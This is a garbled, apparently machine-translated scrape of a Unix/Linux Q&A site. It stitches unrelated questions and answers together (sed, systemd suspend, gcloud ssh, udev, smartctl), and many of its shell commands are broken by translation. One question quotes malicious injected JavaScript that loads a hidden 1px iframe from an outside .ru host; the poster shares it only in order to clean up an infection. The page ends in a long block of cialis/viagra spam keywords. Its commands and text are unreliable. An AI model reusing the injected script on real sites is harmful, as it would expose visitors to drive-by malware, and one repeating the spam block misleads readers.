С помощью sed для замены "A" с "B" или "C"

Это должно быть прямо вперед, но я не могу выяснить это. Если я хочу заменить A и B С c помощью СЭД код может быть:

$ Эхо AAXXAAYYBB | е с/[АВ]/Ц/Г'
CCXXCCYYCC

Это приводит к все а и Б преобразуется в Си.

Что я хочу сделать, это заменить "А" либо одно из двух (или потенциально более) переменных:

Вход:

AAXXAAYYBB

Код:

ООО С/А/[ВС]/г'

Выход (где замена B или C является случайным):

BCXXCBYYBB 

Но этот код будет изменяться только в том, чтобы...

$ Эхо AAXXAAYYBB | Е С/А/[ВС]/г'
[ДО Н. Э.][ДО Н. Э.]ХХ[ДО Н. Э.][ДО Н. Э.]YYBB

Я пытаюсь избежать Перл здесь, если это возможно. Кто-нибудь есть идея, как это исправить?

+898
xuanduc987 22 сент. 2016 г., 10:02:58
36 ответов

Короче говоря, вы должны, как правило, предпочитают спящий режим, интегрированный в вашем дистрибутиве. Для systemd в дистрибутивы этот корабль, что, как правило, systemctl приостановить.

Например, Арч Линукс Вики говорит:

systemd не предоставляет родной команды приостановить, спящий режим и гибридный приостановить, см. раздел "Управление питанием с systemd" для деталей. Это по умолчанию интерфейс, используемый в Arch Линукс.

И для Debian Джесси:

С systemd, ПМ-утилиты и крючки больше не применяется, вместо этого добавлена приостановить.


Причина, почему вы хотите, чтобы придерживаться того, что ваш дистрибутив использует в том, что их пакеты, которые заботятся о приостановки/возобновления доставит крюк скрипты которые интегрируются с ПМ-утилиты (файл/usr/lib в/ПМ-утилиты/сна.Д) или systemd в (в/usr/lib в/systemd в/систему-сон/), так что вы должны использовать тот же интерфейс для того, чтобы все крючки выполняются должным образом.

Кроме того, дистрибутивы, как правило, крючок соответствующего метода suspend/Hibernate не в ACPI для аппаратных событий, окружений рабочего стола (для кнопки отключения, что позволяет приостановить/спящий режим), и с заставки/замки и т. д.


Оба ПМ-приостановить и добавлена приостановить используют обычно те же интерфейсы, чтобы фактически перевести компьютер в спящий режим.

Оба по умолчанию с использованием ядра приостановить водителя (прописав в файл/sys/власть/государство) и оба поддерживают внешние приостановить драйверы (например, uswsusp, смотрите здесь подробнее о том, как подключить его в systemd в.)

Они оба поддерживают файлы конфигурации и скрипты-обработчики, которые вызываются в процессе приостановка и возобновление, основным отличием является расположение файлов (по API крючки очень похож):

  • ПМ-утилита считывает настройки из файла в файл/etc/ПМ/конфиг.д и выполняет крючки с обеих файле/etc/ПМ/сна.д и в/usr/lib в/ПМ-утилиты/сна.д каталоги.
  • добавлена приостановить считывает настройки из файла/etc/systemd в/сна.конф файл (или файлы в сон.конф.д каталог) и выполняет крючки из каталога/usr в/lib/systemd в/систему-сон/.

Так что, с этой точки зрения, обе очень похожи...

Но systemd не идет дальше в своей поддержке приостановить/Hibernate/возобновить, поскольку:

  • Вы можете подключить systemd в подразделения в процесс приостановить/возобновить, например их выполнение до приостановления или после выхода. (Вы можете найти отличные рецепты здесь.)
  • systemd не поддерживает Д-Bus интерфейс, так можно спровоцировать приостановить с помощью Д-автобус, а не команда (хотя работает systemctl приостановить еще конечно вариант.) Пусковым приостановить до D-шины, а не команда, как правило, полезна от среды рабочего стола.
  • systemd не имеет усовершенствованный интерфейс для уведомления и имеющие пользовательских приложений, задерживая приостановить, пока они завершения операции, ингибитор интерфейс, который является более гибким и удобным, чем крючок скрипты. (Собственно, systemd не рекомендует использовать этот интерфейс, а не Скрипты крюк, когда это возможно.)

Так что, хотя оба ПМ-utils версии и добавлена приостановить достижения фактической приостановки системы примерно теми же способами, интеграции с другими компонентами системы делает это так, что это вопросы, что называется... и в дистрибутивах доставка systemd в, то systemctl приостановить обычно право на один звонок.

+968
Tangeek 03 февр. '09 в 4:24

Простой способ сделать то, что вопрос просит, в одну команду:

на awk '{ если (номер <= 1000) версия для печати > "шт1"; еще печати > "piece2"; }' bigfile

или, для тех из вас, кто действительно ненавижу долго печатать, интуитивно понятных команд,

у awk '{ печати > ((номер <= 1000) ? "шт1" : "piece2"); }' bigfile
+946
gapple 2 мар. 2019 г., 13:23:16
Другие ответы

Связанные вопросы


Похожие вопросы

Согласно Man-странице, кода валюты XDG-открыть открыть файл с помощью приложения, настроенные пользователем. Но как это приложение фактически определил? Я не вижу конфигурационные файлы, связанные с кода валюты XDG-utils и, так где же мои настройки хранятся и как я могу их изменить? Видя, как простой PNG файл открывает Internet Explorer с помощью вина, мне нужно менять эти параметры.

+904
BlaST77 26 окт. 2018 г., 13:59:43

Я пытаюсь запустить bash-команда

gcloud вычислить СШ "имя_экземпляра" -- "судо перезагрузка"

с другой командования внутренних Баш (который просто дает мне имя экземпляра)

gcloud вычисления экземпляры списка | грэп авт- | у awk '{печати $1}')

Так он печатает двиг-tqcl - имя экземпляра без всяких кавычек. Это хорошо.

Вся команда выглядит так:

 gcloud вычислить СШ "$(gcloud вычисления экземпляры списка | грэп авторизации | у awk '{печати $1}')" -- "судо перезагрузка"

И у меня есть ошибки:

Недопустимое значение 'авт-tqcl'. Значения должны соответствовать следующему регулярному выражение.

Так выглядит как у меня лишний ' символы до и после имени экземпляра: 'авт-tqcl':

 gcloud вычислить СШ 'авт-tqcl' -- 'судо перезагрузка'

Но когда я копировать вставить эту готовую команду и запустить ее без командования внутренних Баш, он отлично работает.

Итак, мой вопрос: Как избавиться от лишних ' в 'авт-tqcl' , когда я выполнить команду в bash

$(gcloud вычисления экземпляры списка | грэп авт- | у awk '{печати 1$}')

в другую команду bash.

Я использую стандартный терминал в Mac ОС.

Обновление

Вот и подтверждение дополнительных цитата:

$ комплект -х; gcloud вычислить СШ "$(gcloud вычисления экземпляры списка | грэп авторизации | у awk '{печати $1}')" -- "судо перезагрузка"; набор +х;
++(:1): myMac $ gcloud вычислительных экземпляров списка
++(:1): myMac $ грэп авторизации
++(:1): myMac $ у awk '{печати $1}'
+(:9): myMac $ gcloud вычислить СШ 'авт-tqcl' -- 'судо перезагрузка'
Ошибка: (gcloud.вычислить.СШ) не может принести ресурса:
 - Недопустимое значение 'авт-tqcl'. Значения должны соответствовать следующему регулярному выражению: '[а-Z](?:[-а-З0-9]{0,61}[а-З0-9])?'

Обновление 2

gcloud вычисления экземпляры списка | грэп двиг- ответ без цитаты:

$ gcloud вычисления экземпляры списка | грэп авторизации
авт-tqcl Европы-запад1-б У1-стандарт-1 ХХ.ХХХ.х.х ХХ.ХХХ.ХХ.ХХ работает

Обновление 3

$ gcloud вычисления экземпляры списка | грэп авторизации | у awk '{печати 1$}' | ОД -с
0000000 033 [ 1 ; 3 7 ; 4 1 м 033 [ к т
0000020 Н - 033 [ м 033 [ к т м с Л \Н 
0000035
+884
user63722 25 нояб. 2016 г., 05:12:38

Вы могли бы написать в udev правило, чтобы отключить автомонтирование.

  • Создать файл в/etc/udev из/правил.д/85-Без автоподключения.правила
  • Скопируйте эту строку в него подсистемы=="USB", и ОКР{UDISKS_AUTO}="0"
  • Перезагрузите систему

Это должно предотвратить любые USB-устройства могут быть подключены к udisksd демон.

+880
vishnu vardhan 1 дек. 2015 г., 20:40:02

Короткий ответ «да», это возможно.

Установщик Debian будет проверить для всех подключенных дисков в Вашему компьютеру. Если внешний жесткий диск подключен через USB, вы можете выбрать для установки Debian на него без боязни повредить данные на внутренний жесткий диск, который загружается текущей операционной системы (обычно Windows или macOS). Вы даже можете установить с USB-накопителя на внешний жесткий диск.


Вполне возможно, что ваш БИОС (ПО UEFI настройки, чтобы быть точным) и безопасная загрузка включена и отсутствует пароль администратора, что не позволит вам загрузить программу установки с USB (или другие СМИ) в политике безопасности. В этом случае вы выполните следующие действия в настройках BIOS или UEFI:

  1. Отключение безопасной загрузки.
  2. Установить пароль администратора.

После завершения установки вы должны либо

  1. Сбросить настройки БИОС или UEFI настройки по умолчанию.
  2. Повторно отключить безопасную загрузку.

или просто

  1. Очистить пароль администратора.

Пункт Безопасная загрузка должна быть оставлена как есть («беззалоговый»), так что он может загружать Debian с внешнего жесткого диска после установки.

+838
Buks 24 апр. 2019 г., 15:58:19

По умолчанию, найти включает в себя все в поиске: каталоги, файлы, и ссылки.

найти "/путь/к/реж" -параметра mmin -30 -не -название ".*" -старпома зип-Р "testfile.zip" "{}" \+

Если /путь/к/реж был изменен в течение последних 30 минут, он пройдет все испытания, и молния, так как она была дана вариант, добавлю в каталог и все, что под ним в архив.

Этот подход можно несколькими способами, используя либо (или оба) из следующих действий:

  • Не дают застежка - с вариант. Вас интересуют только недавно измененные файлы, а не каждый файл, который находится в недавно измененный справочник.
  • Добавить не типа D тест, чтобы найти выражение, так что оно не соответствуют каталоги.
найти "/путь/к/реж" -не типа D-параметра mmin -30 -не -название ".*" -старпома молния "testfile.zip" "{}" \+
+825
user124482 26 сент. 2015 г., 23:37:54

Я признаю, что это следующий ответ является технически менее процессора эффективнее, чем один вызов к СЭД, но я добавляю его в смесь, потому что это намного проще запомнить, написать, прочитать, понять, и изменить, чем другие:

кошка list.txt | тр ',\П' '#@' | Е С/#@/,/Г;С/@/\П/г'
+813
dethbird 16 янв. 2012 г., 21:51:11

Нет никакой принципиальной разницы между Android и другие платформы Linux. Чтобы построить модуль, вам нужны заголовки ядра и несколько файлов, которые создаются во время компиляции ядра. Этих файлов зависит от конфигурации ядра. Типичные дистрибутивы Linux поставляются с пакет, содержащий эти заголовки ядра и другие файлы, чтобы сделать его проще для создания пользовательских модулей. Я не думаю, что NDK Android поставляется с заголовками ядра (по сравнению с числом людей, которые пишут приложения, очень немногие люди строят модули ядра, и многие производители оборудования, которые в любом случае строительство собственного образа системы).

Так что будьте на Андроид источник, а конкретно дерево ядра (ядро/общие). Получить конфигурацию ядра для устройства вы ориентируетесь; по умолчанию изображения обеспечивает свою конфигурацию в /proc/config.gzвы можете сделать это с помощью АБР оболочки с помощью gzip -д </proc/config.gz'.

Если у вас есть дерево исходников и файл конфигурации, выполните обычные упражнения: скопировать файл конфигурации .конфигурации в ядре дерева, запустите сделает oldconfig и сделать modules_prepare, затем выберите M=/путь/к/вашему/модуль/дерева , чтобы построить свой модуль. В ядре Linux модуль руководство по программированию и ОС Linux драйверы устройств являются хорошие рекомендации; сборка ядра системы описана в Documentation/kbuild/modules.txt.

Если устройство вы ориентируетесь нет модулей с поддержкой (CONFIG_MODULES в файле конфигурации), вам потребуется пересобрать ядро с модулями и скопируйте его в вашу систему изображения.

Андроид изображения в эмулятор поставляется с очень простой модуль услуги: insmod, lsmod распечатывает и rmmod присутствуют, но insmod не способен на аргументы. Если это проблема, сделать с busybox (это полезно для других вещей). Вы можете сделать это с рынка или скомпилировать его из исходников.

Есть много учебников на ядра и компиляции модулей для Android. Здесь немного; я только бегло просмотрел их, поэтому я не гарантирую качества.

+753
MegaTux 30 дек. 2011 г., 03:16:37

Я использую acxi, который делает в точности то, что ОП хочет. Синхронизация каталогов формата FLAC в OGG (или MP3 или опус) каталоги, включая копирование любые другие файлы, которые я хочу, как JPG, TXT и PNG, и т. д.

https://github.com/smxi/acxi

Простой скрипт на Perl, с конфигурации, опции и т. д.

+752
telepups 26 мая 2014 г., 05:58:31

Я нашел решение. Это довольно просто, вам просто нужно установить Плимут и установить свою любимую тему.

+741
Cory Danielson 3 апр. 2019 г., 20:45:06

экран позволяет:

  1. вернемся к реальному экране, посылают сигналы, посмотрим, как быстро она идет, увидеть, есть ли сообщения об ошибках и т. д..
  2. наименование процессов с осмысленным названием. если вы хотите, чтобы убить один процесс, вам не нужно делать догадок о его идентификатор процесса.
+677
m farn 19 нояб. 2016 г., 22:28:34

Здесь (Fedora на ноутбук HP, Латинская клавиатура) клавиши AltGr-Е делает трюк. Я уверен, что это работает на моем Samsung нетбук и моего ASUS ультрабук (вся Латинская Америка).

+632
Orliecarneiro 4 февр. 2010 г., 02:19:55

Я должна предлагать пользователю ввести свое имя и распечатать все возможные комбинации из трех букв от имени. Как написать скрипт для этого?

+601
Hardeep Singh Deep 17 нояб. 2018 г., 23:04:58

Как ваши локальные и удаленные команды становятся более сложными, вы быстро собирается стать перегружены пытаться втиснуть все это в одну целостную сценарий, и с сотнями или тысячами фоновых процессов, вы, вероятно, столкнуться конфликтов с ресурсами, даже с мясистым локальной машине.

Вы можете получить это под контролем с помощью команды xargs -П. Я, как правило, порвать такой задачи в два скрипта.

local.sh

Как правило, этот сценарий имеет один аргумент, который является именем, и выполняет все необходимые проверки перед полетом задачи, лесозаготовки и т. д. Например:

#!/бин/Баш
имя=$1
# простая
кошка remote.sh | SSH пользователь@$имя
# судо все
кошка remote.sh пользователь | СШ@$имя хоста судо
# файлы журнала
кошка remote.sh пользователь | СШ@$имя &> журналы/$имя хоста.журнал
# или войти в stdout с имя с префиксом
кошка remote.sh | SSH пользователь@$имя 2>&1 | СЭД "ы/^/$сервер:/"

remote.sh

Сценарий вы хотите работать удаленно, но теперь вам не придется запихать его в кавычках одной строчке, а интернет-с цитатой-побег ад.

Фактический команду

host_list.txt кошка | команды xargs -С. 16 -Н 1 -я {} Баш local.sh {}

Где:

  • -С. 16 раскошелятся до 16 суб-процессов
  • -Н 1 будут кормить ровно один аргумент за команду
  • -Я {} заменить аргумент в место {} [не обязательно, но могут быть полезны для построения более сложные команды xargs звонки.

Таким образом, даже если один из ваших локальных или удаленных скриптов помешаны вы все еще будете иметь другой 15 пыхтит беспрепятственно.

+588
Dorothy 21 нояб. 2015 г., 03:33:27

Я устанавливал лампу, и я случайно "chmoded" С -Р мою дырочку домашнюю папку пользователя.... (судо команду chmod 755 /главная/пользователя -р), но теперь мой рабочий стол темы не загрузить... я использую мат версия Debian Джесси... как получить вещи в нормальное состояние? или какой нормальный чмод config для моей дыре домашнюю папку пользователя?

Может кто-нибудь помочь?

+552
Jose J Hernandez 1 сент. 2010 г., 02:32:24

Я хочу иметь объем Лукс как устройство loopback, указывая на разреженный файл. Допустим, я поставил файл 20ГБ на нем, потом я его удалю. Как я могу ноль, что зона на самом устройстве, так что я могу fallocate -д петлевой файл, чтобы освободить место?

+533
Sachin Sangeethh 17 мая 2012 г., 08:23:30

nullfs может использоваться, чтобы дать тюрьму только для чтения доступ к части узла файловой системы. Все клетки живут в файловой системе хоста, так что представление о тюрьме-в тюрьме доступ спорный.

На моей системе (и я делаю тюрьмах на своей шкуре) у меня есть следующие директивы в файл/etc/тюрьмах.конф:

горе.файл fstab = "в/etc/fstab строчку.${имя}";

что означает, у меня есть отдельный пакетдля каждого СИЗО, который содержит что-то вроде:

/тюрьму/базы /тюрьмы/somejail/базы nullfs РО 0 0

Очевидно, что целый ряд аргументов относительно разделения клеток, процессов и приложений. Лично мне нравится держать приложение, автономный в одной тюрьме, а затем использовать (пока еще) nginx в тюрьму реверс-прокси для всех приложений тюрьмах. Используя ZFS и одна заявка в тюрьму делает его очень легко управлять различными версиями стека одновременно, тестирование новых версий и отката в случае необходимости. В резюме, Я адвокат работает с nginx и пхп-ФПМ в каждом приложении тюрьму (которые содержат статического и динамического контента).

+489
youravgjoe 13 окт. 2014 г., 18:43:21

У меня есть файл, где каждая строка-это новая информация клиентов, таких как

Поп-корн, [email protected], 50, 200

В настоящее время я пытаюсь увидеть, если это возможно, чтобы использовать на awk/поглазеть скрипт для присвоения каждого столбца в переменную и затем передать эти переменные в СЭД подставляться в шаблон? Я хотел быть запущена как на awk/поглазеть и sed в bash-скрипт. Что такое хорошая реализация, я мог бы следовать, чтобы добиться этого? Я стараюсь не использовать команду grep, потому что я пытаюсь научиться слаженно использовать на awk/gawk и sed и Баш скрипты вместе или на Perl , так как я не узнал его еще.

+383
Maybelline Mounivong 31 янв. 2012 г., 02:13:19

У меня есть программа на Python, который я запускаю его через командную строку (Mac и OSX) как:

питон -Вт игнорировать Experiment.py --итераций 10

Файл Experiment.py следует выполнить несколько раз, используя разные --итерации значения. Я делаю это вручную, одна за другой, поэтому, когда один заканчивается, я запускаю второй с другой --итерации, и так далее. Однако, я не могу всегда находится рядом с моим ноутбуком, чтобы выполнить их все, так что я интересно, если есть способ с помощью shell-скрипт, где я могу сказать все работает вместе, а потом скрипт выполняет их одну за другой (не параллельно, только последовательно, как я бы сделал это сам)? Что-то вроде:

питон -Вт игнорировать Experiment.py --итераций 10
питон -Вт игнорировать Experiment.py --итераций 100
питон -Вт игнорировать Experiment.py --итераций 1000
питон -Вт игнорировать Experiment.py --итераций 10000
питон -Вт игнорировать Experiment.py --100000 итераций

Редактировать: Что если у меня есть несколько аргументов --х --г --г?

+375
ijnbhu 23 мая 2016 г., 05:14:56

Если под "администраторами" вы имеете в виду людей, которые могут, при необходимости, стать суперпользователем (или которые просто имеют доступ к некоторым требуется администратор команды с правами root) с помощью команды sudo (и файлами sudoers), тогда не удосужилась, что "админ" группы пользователя файлы : корень (ИД 0) можно открыть практически все.

Использовать "группы" части его характеристики, какая группа (или "команда") также восприимчивы, чтобы получить какой-то доступ для этого пользователя в файл/реж.

Например: пользователь (ФОО) является частью команды (teambar).

Для Foo файлов, можно : Чаун фу:teambar teambarfile(S) и teambardirs, а затем команду chmod 600 personnal_files ; чмод 700 personnal_dirs ; команду chmod 640 ~/teambarsubdirs/teambarfiles ; команду chmod 750 ~ ~/teambarsubdirs ~/teambardirs/исполняемых файлов

  • Т. е. для всех команда "Дирс" и "командные файлы":

    • дайте эти файлы полный доступ владельцу (= фу)(РВ, х, а также в случае необходимости [diretories, и исполняемые])
    • Дать соответствующий доступ только группе (Р? RX если исполняемый или Дир?)
    • ограничить доступ к другим (т. е. не фу, ни члены
    • И не волнуйтесь: администраторы будут иметь доступ к ней в случае необходимости.
  • а за "личные файлы и каталоги": просто Foo может читать/писать (/выполнить) эти файлы и каталоги

(не забывайте, что если команда файлы/каталоги не под какой-то иерархии, команда должна быть в состоянии получить доступ к этой иерархии, так как правило верхнего уровня Дирс выше должен быть предоставлен "р & х" доступ тоже.)

+358
kryptonkal 6 дек. 2010 г., 02:41:05

В то время как переключение в привилегированный пользователь, то введите пароль привилегированного пользователя. Я могу использовать мой собственный пароль?

Ток: пользователь1 -- > serviceAcctUser (пароль serviceAcctUser)

Требуется: пользователь1 -- > serviceAcctUser (пароль пользователя user1)

+311
mcbobbo 14 июн. 2017 г., 08:47:10

Цитата персонажа так, что он не интерпретируется оболочкой как перенаправление:

судо РМ '>'

Однако, если у вас есть другие файлы с странными персонажами, самый безопасный способ-открыть графический файл проводник например, "Наутилус" и удалить его там.

+310
Remees 18 апр. 2010 г., 03:08:38

Версия пыльник крышка общих простых случаях

на Perl -n0E-х!//.*!!г; 
 с!/\*.*?\*/!!ГС; 
 скажем, $АГДУ если /мат/' *.с *.МД 

Как указал @MikeA (см. Его решение) какой-то ситуации нужна c-препроцессора или даже ЧГК-парсер примере вложенные комментарии, Комментарии в строках.

К поиску все .МД в ваш проект дерева (предполагая, что простые имена...)

на Perl .... $(найти -имя="*.МД")
+293
Dr Spaldo 3 июл. 2016 г., 18:34:37

В рамках подготовки скриптов для CentOS 7 я нужен один-лайнер , который выполняет следующие. К сожалению, я понятия не имею, как этого добиться.

  • Если httpd запущен, то остановить его
  • Если httpd не работает, то проверить, если файл httpd устанавливается на всех и начать его
  • в идеале результат регистрируется в /отчет/файл httpd/ и /&имя/журнал/файл httpd/

Кто-нибудь в состоянии помочь?

+245
Hiep Nguyen 6 нояб. 2013 г., 17:53:01

От smartctl страницу:

Атрибут таблица распечатана smartctl показывает "типа" атрибут. Атрибутами являются одним из двух возможных типов: предварительно недостаточности или преклонного возраста. Профилактическая атрибуты, которые, если меньше или равна их пороговых значений, указывают в ожидании из-за сбоя диска. Старость, или атрибутов использования, являются те, которые указывают в конце жизни продукта от старости или нормального старения и износа, если значение атрибута меньше или равен пороговому значению. Пожалуйста Примечание: тот факт, что атрибут имеет тип 'предварительно Фаиль не означает, что вашего диска из строя! Он имеет только этот смысл, если атрибуты текущего Нормированное значение меньше или равен пороговому значению.

Если атрибуты текущее нормализованное значение меньше или равно пороговому значению, то в столбце "WHEN_FAILED" покажет "FAILING_NOW". Если не, Но самое страшное зафиксировано значение меньше или равно пороговому значению, то в этом столбце отображается "In_the_past". Если в колонке "WHEN_FAILED" нет никакой записи (обозначается тире: -), то этот атрибут хорошо, теперь (не), а также не удалось в прошлом.

Так, согласно smartctl выходного разделе вы выложили, ваш диск на самом деле выглядит в хорошей форме. Однако, это не обязательно означает, что нет другой проблемы.

К сожалению, необработанное смысле код сообщение означает, что что-то пошло не так, но ядро не знает, какой. Вы могли бы попробовать, глядя на остальных smartctl выход, чтобы увидеть, если есть какие-либо вещь неправильно. Там должна быть частью Тха резюмирует общее состояние здоровья диска. Вы можете сделать это на свой собственный С вариант.

Если привод поддерживает самотестирование, вы можете начать с:

smartctl -t длиннее /Дев/СДА

Это начинается в фоновом режиме, так что вам придется следить за результатами. Если диск не подключен, вы можете добавить возможностью включения в плену режим, который должен занимать меньше времени. А короткий тест тоже можно, но менее тщательно.

Это также хорошая идея, чтобы проверить физические соединители и т. д., Чтобы убедиться, что ничего как развязаться - его легко исправить, если она есть.

Обновление

В Википедии есть хорошая ссылка для смарт-атрибутов. Обратите внимание, что 'лучше' колонка "сырые" значения в столбце выходной, а не нормированное значение на старте. Вот часть на текущие отложенные сектора, упомянутые frostschutz:

Количество секторов (ожидая, чтобы быть переназначен, из-за неустранимых ошибок чтения). Если нестабильный сектор впоследствии успешно читать, сектор переназначен, и это значение уменьшается. Ошибки чтения на сектор не переназначить сектора сразу (поскольку правильное значение не может быть прочитан и, следовательно, переназначить не известно, а также он может стать читаемым позже); вместо этого диска прошивки помнит, что сектор должен быть переназначен, и переназначить его в следующий раз, когда оно написано. Однако некоторые диски не сразу преобразования таких секторов при записи; вместо привода будет первая попытка написать к проблеме сектора и если операция записи выполнена успешно, то сектор будет отмечен хорошим (в данном случае "перераспределения счетчик событий" (0xC4) не будут увеличены). Это серьезный недостаток, ибо если такой диск содержит маргинальных слоях, которые постоянно не только по прошествии некоторого времени после успешной операции записи, то диск не будет переназначить эти сектора проблемы.

+201
Alexandra V 12 янв. 2020 г., 12:37:10

Сказать, что у меня процесс вот так:

#!/usr/Бен/ОКР Баш

узел foo.js &
пид=$!

есть ли способ, чтобы слушать дочерние процессы, созданные с ПИД? Я хочу создать список пидов, которые создаются/раздвоенный с ПИД.

+192
ACasualFortnitePlayer 2 мая 2019 г., 20:12:47

Нашли линию \+::::::/бин/баш в файле /etc/passwd, что выглядит странно для меня. Что это значит? Мой компьютер был взломан?

+190
Saniya 31 янв. 2010 г., 05:09:36

Какая разница между txqueuelen параметр, который может применяться либо:

команду ifconfig eth4 txqueuelen 5000
связи IP-набор eth4 txqueuelen 5000

И Техас размер кольца настройки, которые могут быть применены при:

справочной -г eth4 Техас 4096

Какое это имеет отношение к глобальной /труды/системы/нетто/ядро/wmem* параметры?

Я на компилятора RHEL6.

+147
JacobN 13 янв. 2012 г., 00:28:05

xinit выполняет эту работу. Вы можете создать файл your_xinitrc. Команды в your_xinitrc будет выполнен после Xephyr инициализируется.

xinit your_xinitrc -- /usr/Бен/Xephyr :4

X-сервер для запуска необходимо дать абсолютный путь, если он сам не Х. Видеть человека xinit для деталей. После всех команд в your_xinitrc прекращается, xinit прекращает Xephyr.

+136
Nastya92 12 мая 2010 г., 04:38:09

Я пытаюсь нюхать пакеты с карта Intel AC7260 с Debian Джесси. Это работает, но я не могу переключать каналы. Когда я вхожу:

в IW как wlan0 set # канал ХХХ

устройство будет висеть и мне нужно, чтобы перезагрузить его.

Какие-либо предложения?

+97
Companion 6 янв. 2011 г., 07:44:37

чтобы убить всех vncservers и бесплатный показ одного:

команду killall Xvnc
РМ в /tmp/.Х11-в Unix/Х1
+90
miyatno 22 дек. 2014 г., 08:24:53

Один мой сайт на моем сервере был нанесен атаки : инъекции код.

Вот вредоносный код :

<сценарий тип=\"текст/JavaScript\" язык=\"на JavaScript\">
(функция () { 
 ВАР Т = документ.метод createElement('элемент iframe'); 
 Т.в src = 'http://ahtiagge.ru/count27.php'; 
 Т.стиль.абсолютную позицию=''; 
 Т.стиль.границы = '0'; 
 Т.стиль.высота = '1 пиксель'; 
 Т.стиль.ширина = '1 пиксель'; 
 Т.стиль.левый = '1 пиксель'; 
 Т.стиль.топ = 'в 1px'; 
 если (!документ.метода getElementById('Т')) { 
 документ.написать('<див ИД=\'Т\'></дел>');
 документ.метода getElementById('Т').метода appendChild(Т); 
}
})
();</скрипт>

Я хочу знать имя (и путь) все файлы coutains выражение на моем сервере, чтобы остановить заразу. Вот это выражение я хочу матч :'http://ahtiagge.ru/count27.php'

Мне бы такие результаты :

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

Как я могу решить это с помощью shell-скрипт ? возможно ли это ?

+83
Nuriia 28 июн. 2015 г., 00:04:42

Я установил USB в файл/etc/fstab строчку:

Идентификатор UUID=ХХХХ-ХХХХ /тугриков пользователи/someFolder авто,Уид=...

Я хочу, чтобы сохранить важные файлы на этот раздел, но я хочу иметь резервную копию на моей нормальной файловой системы в случае, если раздел идет поврежден. Однако проблема заключается в том, что когда я размонтирование раздела добавил в fstab файлы исчезают из основного раздела, над которым я работаю.

Вопрос: Можно ли спасти мои файлы как на смонтированный раздел, но и раздел, в то же время, не используя скрипты, которые копируют их? Если да, то как?

+68
Karen Mallory 19 мар. 2017 г., 13:46:56

С помощью LVM (диспетчер логических томов) является подсистемой. На самом низком уровне-это ФВ (физического объема). В ПВ это ВГ (группа томов) и в ВГ являются ЛВС (логических томов).

Вы, кажется, спрашиваю Как переместить или изменить размер ФВ соответствующий раздел/dev/sda4 в. Для этого вам сначала нужно отключить ВГ. (утилита GParted > отключить раздел.) Обратите внимание, что при отключении ВГ все его ЛВС необходимо сначала демонтировать и станут недоступными до тех пор, пока ВГ активируется. Поэтому весьма вероятно, что вам потребуется для выполнения этого перемещения, изменения размеров из-за работающей системы. (Я особенно рекомендую SystemRescueCd , но я вижу, что утилита GParted теперь имеет свой собственный LiveCD с.)

+28
SergioSmith 7 окт. 2016 г., 09:52:32

-У вас могут быть проблемы с IP-адреса, в проверил IP адрес, если вы используете DHCP система с фиксированным адресом "зарезервировано" или случайный, но, вероятно, привод устройства, которые могут быть неправильно, проверьте, можно ли они впервые подключаются через общий незащищенное соединение если вы можете ходить пробовали другие режимы шифрования WEP и WAP, WAP2 и так далее.

+21
Salman Patel 18 нояб. 2015 г., 09:24:40

Показать вопросы с тегом

$200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil $200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil blue chew viagra scam buy viagra buy viagra online buy viagra online canada pharmacy buy viagra online without script canada pharmacy viagra generic canadian pharcharmy online viagra canadian viagra canadian viagra without a doctor prescription cheap viagra cialis vs viagra cost of viagra 